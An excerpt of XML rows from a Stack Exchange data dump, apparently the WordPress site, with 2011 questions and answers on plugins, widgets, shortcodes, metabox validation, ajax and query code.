  <row Id="16185" PostTypeId="2" ParentId="16138" CreationDate="2011-05-02T16:27:04.203" Score="1" ViewCount="" Body="&lt;p&gt;Simple-to-follow instructions would be something like:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install the &lt;a href=&quot;http://wordpress.org/extend/plugins/comment-form-quicktags/&quot; rel=&quot;nofollow&quot;&gt;Comment Form Quicktags&#xA;Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But for some reason, you have specified that you want to do it &quot;WITHOUT PLUGINS&quot;. Further, you have specified &quot;simple to follow instructions&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not believe your requirements are compatible. If you want &quot;easy to follow instructions&quot;, then use a Plugin. If you don't want to use a Plugin, then you'll have to figure out how to replicate the (non-trivial, and thus, not really &quot;easy to follow&quot;) implementation in such a Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do you not want to use a Plugin?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-02T16:27:04.203" CommentCount="1" />
  <row Id="16186" PostTypeId="1" CreationDate="2011-05-02T17:18:08.540" Score="0" ViewCount="128" Body="&lt;p&gt;Has anyone successfully add a upload images options to the “How to Create a Better WordPress Options Panel” ? I found this tuts on “Adding Image Upload Ability To Options Panel”, but I can’t get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding Image Upload Ability To Options Panel:&#xA;&lt;a href=&quot;http://wpquestions.com/question/show/id/931&quot; rel=&quot;nofollow&quot;&gt;http://wpquestions.com/question/show/id/931&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to Create a Better WordPress Options Panel:&#xA;&lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/how-to-create-a-better-wordpress-options-panel/&quot; rel=&quot;nofollow&quot;&gt;http://net.tutsplus.com/tutorials/wordpress/how-to-create-a-better-wordpress-options-panel/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i would really appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks, Curtis&lt;/p&gt;&#xA;" OwnerUserId="5054" LastActivityDate="2011-05-02T17:18:08.540" Title="add a upload images options to the “How to Create a Better WordPress Options Panel”" Tags="&lt;wp-admin&gt;" CommentCount="1" />
  <row Id="16187" PostTypeId="1" CreationDate="2011-05-02T17:24:22.197" Score="0" ViewCount="307" Body="&lt;p&gt;I have a basic understanding of how to create meta boxes, and I have an understanding of how and where to put wordpress menus on the front end. I am a wordpress theme developer but NOT a wordpress back end developer (but I am trying to learn). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page template that is set up where there are a list of links that, when clicked, display different tabbed content that is on the same page. &lt;a href=&quot;http://bscdeveloper.com/brickstreet/?page_id=68&quot; rel=&quot;nofollow&quot;&gt;see here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blue box w/ tabs and the white interior content is built like this: &#xA;Interior white content is written in the main wp_content box on the page edit page. I have it so that the client adds all of the content for each box in that one area and then wraps them in short codes to separate the divs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blue tabs on the left are wordpress 3.0 menus. I have it set as a widget area. The client first creates the page, then creates the menu for that page and gives a custom link of href=&quot;#tab2&quot; to initiate the javascript. THEN they go to widgets and drag the custom menu into the widget area called &quot;tabs&quot; and use the conditional widget display to display that menu only on that page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would LOVE to be able to cut out a step or two ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would be a LOT easier if the widget area step was moved into the wordpress page. Then the client could make the new menu in the WP menu creator, go and create the page and choose the menu from a meta box drop down. This should basically create the conditional display because it is now associated with that page and stick the menu in the spot that has already been previously defined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts on this??? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way to do it would be to create the menu in the page edit page and automatically place the actual menu in the predefined spot with the condition that this menu is only for this page. &lt;/p&gt;&#xA;" OwnerUserId="5055" LastActivityDate="2011-08-31T03:37:27.107" Title="Add the wordpress custom widget box in edit/add new page" Tags="&lt;custom-menus&gt;&lt;metabox&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="16188" PostTypeId="2" ParentId="16187" CreationDate="2011-05-02T17:33:04.207" Score="1" ViewCount="" Body="&lt;p&gt;I'm not sure I understand the whole process. Why not build the navigation at the same time you parse out the content with the shortcodes? You know how many tabs there are and what content they're connected to, I don't see why widgets or wp menus need to be involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe if you showed us the code that handles the shortcodes?&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-02T17:33:04.207" CommentCount="2" />
  <row Id="16189" PostTypeId="2" ParentId="15993" CreationDate="2011-05-02T17:35:55.983" Score="2" ViewCount="" Body="&lt;p&gt;There is no reason not to do this with CSS it works and will be supported in all major browsers except for IE 8 and below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to support IE you can use Modernizr which will add a class of no-rounded-corners on the target img element in incapable browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add class=&quot;rounded-corners&quot; to your thumbnails and in your css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rounded-corners {&#xA;    -moz-border-radius: 30px 30px 30px 30px;&#xA;    -webkit-border-radius: 30px 30px 30px 30px;&#xA;    border-radius: 30px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did a quick test on a random image on the front page of WPCandy.com by adding the corners to the image class using Firebug.  Here are the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/sdiHZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/MshA6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CSS entered into Firebug:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/wW7Gj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your .no-rounded-corners use one of the fallback methods if you feel you need to.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-02T17:35:55.983" CommentCount="2" />
  <row Id="16190" PostTypeId="1" CreationDate="2011-05-02T17:57:17.220" Score="0" ViewCount="119" Body="&lt;p&gt;I am totally clueless on debugging this issue. When logged out, my ajax calls are returning -1 as response. If I open the admin-ajax.php in the browser directly, then too it shows -1. I think WordPress is rejecting the ajax call or dies somewhere but that doesn't make any sense to me right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am attaching my ajax handler to both &lt;code&gt;wp_ajax_noprov_{action-name}&lt;/code&gt; and &lt;code&gt;wp_ajax_{action-name}&lt;/code&gt; but it doesn't work when I am logged out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not using any code where I am checking any capabilities/roles either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens even when I just comment out the ajax handler hook so that the function doesn't even run. I think its something related with WordPress behavior and not specific to my code. I have been blocking access to the site by only allowing logged in members to be able to operate the site and hence have no idea when this problem creep in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why WordPress rejects it or die in a call? Can it be the case that the server is giving an internal 500 error on non-logged in ajax calls?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I feel stupid, WP do a &lt;code&gt;die(-1);&lt;/code&gt; for non logged in calls, so how do I work with it? Its hardcoded there after the execution of &lt;code&gt;wp_ajax_nopriv_{action-name}&lt;/code&gt; and it must have a good reason for it. I just want to return my json encoded data. Any pointers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end: OK! Now I really feel stupid, I had a typo in the hook name. Mark this question for close/delete?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-05-02T18:03:21.193" LastActivityDate="2011-05-02T18:03:21.193" ClosedDate="2011-05-03T11:07:21.910" Title="WordPress Ajax returns -1 as response when logged out" Tags="&lt;ajax&gt;" CommentCount="1" />
  <row Id="16191" PostTypeId="1" CreationDate="2011-05-02T18:02:53.037" Score="0" ViewCount="130" Body="&lt;p&gt;I'm trying to setup a secondary wysiwyg editor in Wordpress custom post type, but I'm having problems with the &quot;Upload / Insert&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have so far in my functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function secondary_content() {&#xA;  global $post;&#xA;  $custom = get_post_custom($post-&amp;gt;ID);&#xA;  $secondary_content_content = $custom[&quot;secondary_content_content&quot;][0];&#xA;  ?&amp;gt; &#xA;&#xA;&amp;lt;div id=&quot;media-buttons&quot; class=&quot;hide-if-no-js&quot; style=&quot;margin-bottom:10px;&quot;&amp;gt;&#xA;    &amp;lt;?php do_action('media_buttons'); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;textarea name=&quot;secondary_content_content&quot; id=&quot;secondary_content_content&quot; cols=&quot;&quot; rows=&quot;20&quot; style=&quot;width:100%; margin-bottom:20px;&quot;&amp;gt;&amp;lt;?php echo wp_richedit_pre($secondary_content_content); ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA; &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;                /* &amp;lt;![CDATA[ */&#xA;&#xA;                jQuery(document).ready( function () {&#xA;                    if ( typeof( tinyMCE ) == &quot;object&quot; &amp;amp;&amp;amp; typeof( tinyMCE.execCommand ) == &quot;function&quot; ) {&#xA;&#xA;                        tinyMCE.execCommand(&quot;mceAddControl&quot;, true, &quot;secondary_content_content&quot;);&#xA;&#xA;                    }&#xA;                });&#xA;&#xA;                /* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know the &quot;do_action('media_buttons')&quot; is invalid, because this sends the image back to the main editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to add to make the &quot;Insert into post&quot; of the image to send it to the custom field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Troy&lt;/p&gt;&#xA;" OwnerUserId="4432" LastActivityDate="2011-05-02T18:02:53.037" Title="Secondary Edit field w/ &quot;Upload / Insert&quot; image and file capabilities" Tags="&lt;custom-field&gt;&lt;media-upload&gt;" />
  <row Id="16192" PostTypeId="1" AcceptedAnswerId="16193" CreationDate="2011-05-02T18:19:13.853" Score="0" ViewCount="72" Body="&lt;p&gt;I am looking to embed several shortcodes into my post template, but I want the tags to be conditional to a specific category (and subcats).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked through the codex, but I'm unsure where to start.&lt;/p&gt;&#xA;" OwnerUserId="4902" LastActivityDate="2011-05-02T18:32:11.787" Title="hard code shortcode only on specific category" Tags="&lt;3.0&gt;&lt;shortcode&gt;&lt;embed&gt;&lt;conditional-tags&gt;" AnswerCount="1" />
  <row Id="16193" PostTypeId="2" ParentId="16192" CreationDate="2011-05-02T18:32:11.787" Score="1" ViewCount="" Body="&lt;p&gt;If you're embedding the code directly into the template file, why bother with shortcodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply extract the code from the &lt;code&gt;add_shortcode()&lt;/code&gt; function call, and add it to your template, wrapped in an appropriate conditional tag, such as &lt;code&gt;in_category()&lt;/code&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( in_category( $cat ) ) {&#xA;     // put shortcode code here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: the &lt;code&gt;$cat&lt;/code&gt; argument can be an ID, name, or slug.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-02T18:32:11.787" CommentCount="2" />
  <row Id="16194" PostTypeId="1" CreationDate="2011-05-02T19:43:51.383" Score="1" ViewCount="157" Body="&lt;p&gt;I’d like to have a plugin for a flexible sidebar/widget management. In fact, I want to give a user the possibility to choose which sidebar should be displayed per page/post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are many sidebar plugins out there. Unfortunately, I haven’t found one which cover all my wishes. So I’d like to code this on my own. Which of the following possibilities do you find is the best and most flexible? Or do you have other approaches?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Posibilities&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Hardcode the register_sidebar calls in a plugin/functions.php and add a metabox for the &lt;code&gt;post_edit.php&lt;/code&gt;, &lt;code&gt;post_new.php&lt;/code&gt; screens.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not that flexible. If a user has 100 pages and every page should have a different sidebar, the user has to register additional sidebars manually.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Same as Nr.1 but use a generic sidebar template with conditional tags to display the widgets. We could also use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic&lt;/a&gt; for a more granular filtering in the backend.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Good for a programmer or experienced WordPress user, but not for a normal user. The conditional tags must be mapped in a friendly manner. Also &lt;code&gt;is_page(id)&lt;/code&gt; could create problems on multilingual sites, where posts of a different language are stored with another id.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A &lt;strong&gt;&lt;em&gt;flexible-sidebars&lt;/em&gt;&lt;/strong&gt; Custom Post Type. Every post in this CPT is used in a generic sidebar-template to display the given content. The sidebar is also selected within a custom metabox. The user can add content to the sidebar with the default WYSIWYG editor which is a big plus.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not a „real“ sidebar. Therefore widgets couldn’t longer be added on the widgets-subpage in the admin panel. We have to create an own metabox for widget-assignments.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify the widgets-subpage in the admin panel to create/register your own sidebars in WordPress. Also create a generic widget with a default WYSIWYG editor. Content with attachments could easily be added to the widget and draged to the new created sidebar.&#xA;The user could then choose this sidebar with a drop-down field in a custom metabox in the post/page admin screens. To display the sidebar, we need also a generic sidebar-template.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From my point of view, Nr.4 should do the trick. Are there any other possibilities? Or does this already exists in a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your reply&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-05-26T21:31:00.507" Title="More flexible sidebar and widget management" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;register-sidebar&gt;" AnswerCount="1" />
  <row Id="16195" PostTypeId="1" AcceptedAnswerId="16196" CreationDate="2011-05-02T19:57:04.047" Score="1" ViewCount="158" Body="&lt;pre&gt;&lt;code&gt;//Geo Map&#xA;add_action( 'woo_post_inside_after', 'my_geo_mashup' );&#xA;function my_geo_mashup() {&#xA;    global $post;&#xA;if ( in_category('listings') ) {&#xA;        echo GeoMashup::map();&#xA;       }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works to embed my map tag only on my single posts categorized as &quot;listings&quot; &#xA;But, the embedded tag is also showing within the index of posts (thumb, title, meta, excerpt) and I need to remove it from the loop of posts and have it only show on the single.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thoughts?&lt;/p&gt;&#xA;" OwnerUserId="4902" LastActivityDate="2011-08-31T06:46:27.117" Title="functions.php conditional tag - only show in single.php?" Tags="&lt;categories&gt;&lt;hooks&gt;&lt;conditional-content&gt;&lt;conditional-tags&gt;" AnswerCount="1" />
  <row Id="16196" PostTypeId="2" ParentId="16195" CreationDate="2011-05-02T20:01:53.320" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if ( is_single() &amp;amp;&amp;amp; in_category('listings') ) { &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-02T20:01:53.320" CommentCount="2" />
  <row Id="16197" PostTypeId="1" CreationDate="2011-05-02T21:53:48.633" Score="0" ViewCount="78" Body="&lt;p&gt;I'm writing my first wp plugin and I have many problems, most of those I got to solve by just reading the codex, but I don't know how to write into a css file within my plugin's options. Maybe there's a better way of doing it, but what I had in mind was using  a text field and saving that into an empty custom.css file that would be packed with the plugin. I don't want having to save css info into the wp_options table. Is there a standardized way of having custom css for your plugins which could be changed by the user without having to open the css file themselves??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="5057" LastActivityDate="2011-05-02T22:17:05.260" Title="How do I write into a file (css)" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;css&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="16199" PostTypeId="2" ParentId="16197" CreationDate="2011-05-02T22:17:05.260" Score="2" ViewCount="" Body="&lt;p&gt;What's wrong with saving CSS to the database? That is the correct approach. And that way, you can simply output the options to a function, which can be enqueued properly, using &lt;code&gt;wp_print_styles&lt;/code&gt;, and entirely avoid file operations/writing to .css files.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-02T22:17:05.260" CommentCount="4" />
  <row Id="16200" PostTypeId="1" AcceptedAnswerId="16202" CreationDate="2011-05-02T23:20:02.527" Score="1" ViewCount="117" Body="&lt;p&gt;I'd like my frontpage to display a list of my lastest blog posts merged with my latest &quot;Products&quot; custom post type posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the documentation i gather this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array('post_type' =&amp;gt; array('post', 'product') ) );&#xA;while (have_posts()) : the_post();&#xA;   the_title();&#xA;   the_excerpt();&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that turns a weird list, made of pages ! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I've put it outside the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am i doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2011-05-03T05:13:15.227" Title="Query for multiple post types does not work" Tags="&lt;custom-post-types&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="16202" PostTypeId="2" ParentId="16200" CreationDate="2011-05-03T01:15:18.780" Score="2" ViewCount="" Body="&lt;p&gt;almost!&#xA;when doing it outside of the loop, you have to reset the query as in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-05-03T01:15:18.780" />
  <row Id="16203" PostTypeId="2" ParentId="16158" CreationDate="2011-05-03T01:18:38.430" Score="2" ViewCount="" Body="&lt;p&gt;I ended up enabling WP_DEBUG and found an error - something about &lt;code&gt;fsockopen()&lt;/code&gt; not being able to connect to my host (I didn't write it down and now can't reproduce it) - and found that it was a DNS issue;- my subdomain (foo.example.com) was resolving to the correct IP (10.0.0.1) but the primary domain wasn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in the process of cloning &amp;amp; replacing a live server, external IP 10.0.0.1, internal IP 192.168.0.1; the new server has internal IP 192.168.1.1 (different subnet) and the external IP is accessed via a second interface. Adding the correct DNS entry in &lt;code&gt;/etc/hosts&lt;/code&gt; fixed the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10.0.0.1    example.com     www.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="827" LastEditorUserId="827" LastEditorDisplayName="" LastEditDate="2011-05-03T06:06:03.867" LastActivityDate="2011-05-03T06:06:03.867" CommentCount="3" />
  <row Id="16204" PostTypeId="1" AcceptedAnswerId="16205" CreationDate="2011-05-03T01:45:37.143" Score="1" ViewCount="46" Body="&lt;p&gt;I need a hook such that when visitor lands on any of the post &lt;strong&gt;(not page)&lt;/strong&gt;, I need to record a hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find whether the request is for post, and is there any hook to find if the loaded content is post, and if yes, what is post id&lt;/p&gt;&#xA;" OwnerUserId="4314" LastActivityDate="2011-05-03T02:15:54.227" Title="finding whether request is for post, and post id" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="16205" PostTypeId="2" ParentId="16204" CreationDate="2011-05-03T02:15:54.227" Score="1" ViewCount="" Body="&lt;p&gt;something like this will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function record_hit_if_post(){&#xA;    global $wp_query;&#xA;    if($wp_query-&amp;gt;is_single==1)&#xA;        // single post's ID:&#xA;        // $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;}&#xA;add_filter('template_redirect', 'record_hit_if_post');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-03T02:15:54.227" CommentCount="2" />
  <row Id="16206" PostTypeId="1" CreationDate="2011-05-03T02:51:10.153" Score="4" ViewCount="333" Body="&lt;p&gt;I've found very little on this site or in Google searches for examples of validating metabox custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone wants to give examples, here are some cases that would be useful&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Date entered as  05/02/2011 is valid date format&lt;br&gt;&#xA;2) Number entered in text box is numeric and between 100 and 500&lt;br&gt;&#xA;3) Text in text box is &gt; 25 chars long&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is not so much the code to validate the fields but where to put the validation code? Use Javascript or PHP?  If it hooks on save-post, techniques for dealing with failed validation -  Update the post?  Don't update the post? - how do you stop it from updating?  Best way to notify the user of the problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All suggestions are appreciated.  Sample code is more helpful than just a description of a technique.  ( This would be a very good topic for someone to write an article on. )&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3175" LastActivityDate="2011-05-04T14:51:30.163" Title="Sample code for validating custom metabox?" Tags="&lt;metabox&gt;&lt;validation&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="3" />
  <row Id="16207" PostTypeId="2" ParentId="16206" CreationDate="2011-05-03T03:21:00.727" Score="1" ViewCount="" Body="&lt;p&gt;Straight from the WP Codex @ &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_meta_box&lt;/a&gt;, you call the &lt;code&gt;save_post&lt;/code&gt; hook and specify the function that will be run to validate/save your data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Do something with the data entered */&#xA;add_action('save_post', 'myplugin_save_postdata');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you define that function, which will automatically be passed the post id. Additionally, you can access the $_POST array to get the values in your metaboxes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* When the post is saved, saves our custom data */&#xA;function myplugin_save_postdata( $post_id ) {&#xA;  // verify if this is an auto save routine. &#xA;  // If it is our form has not been submitted, so we dont want to do anything&#xA;  if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;      return $post_id;&#xA;&#xA;  // verify this came from the our screen and with proper authorization,&#xA;  // because save_post can be triggered at other times&#xA;&#xA;  if ( !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename(__FILE__) ) )&#xA;      return $post_id;&#xA;&#xA;&#xA;  // Check permissions&#xA;  if ( 'page' == $_POST['post_type'] ) &#xA;  {&#xA;    if ( !current_user_can( 'edit_page', $post_id ) )&#xA;        return $post_id;&#xA;  }&#xA;  else&#xA;  {&#xA;    if ( !current_user_can( 'edit_post', $post_id ) )&#xA;        return $post_id;&#xA;  }&#xA;&#xA;  // OK, we're authenticated: we need to find and save the data&#xA;&#xA;  $mydata = $_POST['myplugin_new_field'];&#xA;&#xA;  // Do something with $mydata &#xA;  // probably using add_post_meta(), update_post_meta(), or &#xA;  // a custom table (see Further Reading section below)&#xA;&#xA;   return $mydata;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of your routines to valid data will be done within this function. In the end, you will likely save the data using something like:&#xA;&lt;code&gt;update_post_meta('meta_key', 'meta_value');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I realize I did not address the breadth of your question, but since I put the time into this I leave it here to get you a quarter of the way there.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-03T03:21:00.727" />
  <row Id="16208" PostTypeId="1" CreationDate="2011-05-03T04:04:06.153" Score="3" ViewCount="219" Body="&lt;p&gt;I have a wordpress widget that has the standard outline like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class my_widget extends WP_Widget{&#xA;&#xA;function my_widget(){&#xA;   //do setup stuff&#xA;}&#xA;&#xA;function form(){&#xA;   //do form stuff&#xA;}&#xA;&#xA;function update(){&#xA;   //do update stuff&#xA;}&#xA;&#xA;function widget($args, $instance){&#xA;   //how can we dynamically add style and script here&#xA;&#xA;   //this does not work&#xA;   if($instance['val'] == 'test'){&#xA;      wp_register_script('test', plugins_url('test.js');&#xA;      wp_print_scripts('test');&#xA;   }else{&#xA;      wp_register_script('diff', plugins_url('diff.js');&#xA;      wp_print_scripts('diff');&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if it's possible to somehow add scripts dynamically to a wordpress widget... I am guessing that this would have to take place within the widget() method b/c that is the only place where dynamic variables are passed, but the problem is this function appears to be fired after scripts are added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for your thoughts&lt;/p&gt;&#xA;" OwnerUserId="5066" LastActivityDate="2011-05-27T15:17:56.813" Title="dynamically add scripts to WP_Widget widget() method" Tags="&lt;widgets&gt;&lt;scripts&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="2" />
  <row Id="16209" PostTypeId="1" AcceptedAnswerId="16272" CreationDate="2011-05-03T04:50:38.273" Score="1" ViewCount="102" Body="&lt;p&gt;I am building a template where wordpress is being used primarily as an image CMS, I am pulling the first image from the content section of each post.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo grab_image() ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;function grab_image() {&#xA;global $post, $posts;&#xA;$first_img = '';&#xA;ob_start();&#xA;ob_end_clean();&#xA;$output = preg_match_all('/&amp;lt;img.+src=[\'&quot;]([^\'&quot;]+)[\'&quot;].*&amp;gt;/i', $post-&amp;gt;post_content, $matches);&#xA;$first_img = $matches [1] [0];&#xA;&#xA;if(empty($first_img)){&#xA;$first_img = &quot;&quot;;&#xA;}&#xA;return $first_img;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is how can I, instead of grabbing it from post_content, grab the first image from the uploaded image gallery? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the process to add an image would be to upload and then exit out (without inserting into post). I dont know what you call this or what to look for.. attachments? media library?  The content area would be used strictly for text along with any extra meta boxes. &lt;/p&gt;&#xA;" OwnerUserId="2661" LastEditorUserId="2661" LastEditorDisplayName="" LastEditDate="2011-05-03T19:38:28.487" LastActivityDate="2011-05-03T20:42:56.740" Title="Pull images from the gallery" Tags="&lt;images&gt;&lt;attachments&gt;&lt;media&gt;" AnswerCount="2" />
  <row Id="16210" PostTypeId="2" ParentId="16200" CreationDate="2011-05-03T05:13:15.227" Score="3" ViewCount="" Body="&lt;p&gt;I would use a &lt;code&gt;new WP_Query&lt;/code&gt;. Using &lt;code&gt;query_posts&lt;/code&gt; is intended for the main loop only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts&quot;&gt;When should you use WP_Query vs query_posts() vs get_posts()?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-03T05:13:15.227" />
